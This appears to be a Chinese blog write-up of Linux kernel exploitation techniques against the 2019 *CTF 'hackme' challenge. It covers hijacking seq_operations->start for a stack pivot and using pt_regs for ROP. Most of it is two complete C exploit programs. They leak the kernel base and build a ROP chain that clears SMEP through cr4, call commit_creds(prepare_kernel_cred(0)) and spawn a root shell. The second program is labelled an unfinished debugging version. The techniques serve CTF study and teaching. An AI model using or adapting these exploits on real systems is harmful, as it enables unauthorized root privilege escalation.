kernel 劫持seq_operations && 利用pt_regs

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时,内核会调用proc_opsproc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h> int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0}; struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
}; void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
} void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
} void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
} void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
} void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
} void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
else
{
puts("[-] get shell error");
sleep(3);
exit(0);
}
} void get_root(void)
{
//commit_creds(prepare_kernel_cred(0));
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
} int main()
{
char buf[0x1000] = {0};
int i;
size_t seq_data[4] = {0}; save_status(); fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
exit(0);
} add(0, 0x20, buf); // 0
add(1, 0x20, buf); // 1
add(2, 0x20, buf); // 2
add(3, 0x20, buf); // 3 delete(0);
delete(2); int fd_seq = open("/proc/self/stat", 0);
if(fd_seq < 0)
{
puts("[-] open stat error");
exit(0);
} show(3, 0x20, -0x20, buf);
vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0;
show(1, 0x20, -0x20, buf);
heap_base = ((size_t *)buf)[0] - 0x80;
printf("[+] heap_base=> 0x%lx\n", heap_base); i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss; ((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
edit(3, 0x20, -0x20, buf); size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
size_t mmap_base = fake_stack & 0xfffff000; if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
{
puts("[-] mmap error");
sleep(3);
exit(0);
}
else
puts("[+] mmap success"); memcpy((void *)fake_stack, rop, sizeof(rop)); read(fd_seq, buf, 1);
return 0;
}

利用pt_regs

可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

	__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, 0x9999999999;"
"mov r8, 0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);

这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令: PUSH_AND_CLEAR_REGS rax=$-ENOSYS,这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个,我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),布局如下:

pop_rdi_ret;
init_cred;
commit_creds;
swapgs_restore_regs_and_return_to_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

exp2:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h> int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd_seq; struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
}; void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
} void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
} void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
} void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
} void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
} void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
else
{
puts("[-] get shell error");
sleep(3);
exit(0);
}
} void get_root(void)
{
//commit_creds(prepare_kernel_cred(0));
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
} int main()
{
char buf[0x1000] = {0};
int i;
size_t seq_data[4] = {0}; save_status(); fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
exit(0);
} add(0, 0x20, buf); // 0
add(1, 0x20, buf); // 1 delete(0); fd_seq = open("/proc/self/stat", 0);
if(fd_seq < 0)
{
puts("[-] open stat error");
exit(0);
} show(1, 0x20, -0x20, buf);
vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0; size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
((size_t *)buf)[0] = gadget; edit(1, 0x20, -0x20, buf); __asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, 0x9999999999;"
"mov r8, 0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);
return 0;
}

kernel 劫持seq_operations && 利用pt_regs的更多相关文章

  1. 雷锋沙龙 ppt 演讲内容分享(xss,流量劫持的利用)

    http://www.pkav.net/XSS.png?from=timeline&isappinstalled=0

  2. DLL搜索路径和DLL劫持

    DLL搜索路径和DLL劫持 环境:XP SP3 VS2005 作者:magictong 为什么要把DLL搜索路径(DLL ORDER)和DLL劫持(DLL Hajack)拿到一起讲呢?呵呵,其实没啥深 ...

  3. 新型Web劫持技术

    该类新型Web劫持是利用script脚本实现的.在已知的案例中,黑客入侵了某地方门户网站,篡改了该网站的新闻页面,并向这些页面植入自己的广告.新闻及恶意代码.一旦用户从搜索结果页面点击进入被篡改过的新 ...

  4. Dll劫持漏洞详解

      一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...

  5. xss的高级利用

    以往对XSS的利用大多数都是针对于挂马,钓鱼,盗cookie等,这些方式并没有真正发挥到XSS的作用,因为很少人能了解XSS的实质,会话劫持,浏览器劫持,XSS能做到的东西远远超乎我们的想象. 一 X ...

  6. 36.浅谈DLL劫持

    最近在搞内网,需要实现免杀后门,大佬推荐了dll劫持,DLL劫持后,能干很多事情,比如杀软对某些厂商的软件是实行白名单的,你干些敏感操作都是不拦截,不提示的.还有留后门,提权等等.本文主要介绍如何检测 ...

  7. [机器学习] SVM——Hinge与Kernel

    Support Vector Machine [学习.内化]--讲出来才是真的听懂了,分享在这里也给后面的小伙伴点帮助. learn from: https://www.youtube.com/wat ...

  8. 嗅探、DNS劫持配合CS钓鱼

    本章节讲述的是嗅探和DNS劫持的利用 嗅探:同一个局域网下,原本应该丢弃的包,被保留下来,即使不开双向欺骗 Driftnet工具:Driftnet监视网络流量,抓取网络流量中的JPEG和GIF图像.这 ...

  9. [Vue源码]一起来学Vue双向绑定原理-数据劫持和发布订阅

    有一段时间没有更新技术博文了,因为这段时间埋下头来看Vue源码了.本文我们一起通过学习双向绑定原理来分析Vue源码.预计接下来会围绕Vue源码来整理一些文章,如下. 一起来学Vue双向绑定原理-数据劫 ...

随机推荐

  1. js 多选 反选

    //$(".435__1").attr("checked", true); //$(".435__0").removeAttr(" ...

  2. Python3实现TCP端口扫描

    在渗透测试的初步阶段通常我们都需要对攻击目标进行信息搜集,而端口扫描就是信息搜集中至关重要的一个步骤.通过端口扫描我们可以了解到目标主机都开放了哪些服务,甚至能根据服务猜测可能存在某些漏洞. TCP端 ...

  3. 将abc的全排列输出

    #include "iostream" using namespace std; void swap(char a[],int i,int j){ char temp; temp= ...

  4. Permit.js – 用于构建多状态原型的 jQuery 插件

    Permit.js 是一个 jQuery 插件,用于构建交互的,多态的网站原型和应用程序原型.也许你的网站有的功能仅适用于登录的成员,只有管理员才能使用或者你的应用程序会根据线上或离线有不同的功能,这 ...

  5. 如何在Azure环境里做好信息传递可扩展性经验分享

    作者 王枫 发布于2014年5月15日 综述 本文介绍建立一个在Azure上使用Azure服务总线, 高吞吐量短信平台的必要步骤.在这篇文章中提出的解决方案是在响应由客户的具体要求,建立一个基于Win ...

  6. zoj 3547 The Boss on Mars

    需要用到概率论的容斥定理以及计算1 ^ 4 + 2 ^ 4 + ……+ n ^ 4的计算公式1^4+2^4+……+n^4=n(n+1)(2n+1)(3n^2+3n-1)/30 #pragma comm ...

  7. delphi 实现微信开发

    大体思路: 1.用户向服务号发消息,(这里可以是个菜单项,也可以是一个关键词,如:注册会员.) 2.kbmmw web server收到消息,生成一个图文消息给微信,在图文消息中做好自己的url,在u ...

  8. mybatis 分页问题 (个人认为算是个bug)

    问题描述:相同的查寻条件, 分页显示的结果和.net版本的分页结果数量一样,排序不一样, 不同的页有相同的数据.比如:第2面和第3页都有同一条相同的数据. 核心代码: //自己实现 int total ...

  9. essential c++ 第一章 array及vector相关使用

    将对象初始化: 1.用等号(=)赋值运算符初始化,针对对象是内置类型或者对象可以单一值初始化 2.构造函数初始化,针对对象需要多个初始值的情况 单括号括住的字符表示字符常量(‘ ’): 第一个反斜线表 ...

  10. Git for Windows之使用SSH协议开通公钥免密登陆功能

    1.删除Https的通信方式,建立SSH的通信方式 (1).查看当前的通信方式 当前是使用Https的方式与远程仓库进行通信 (2).删除HTTPS的通信方式 ok,HTTPS通信方式已删除 (3). ...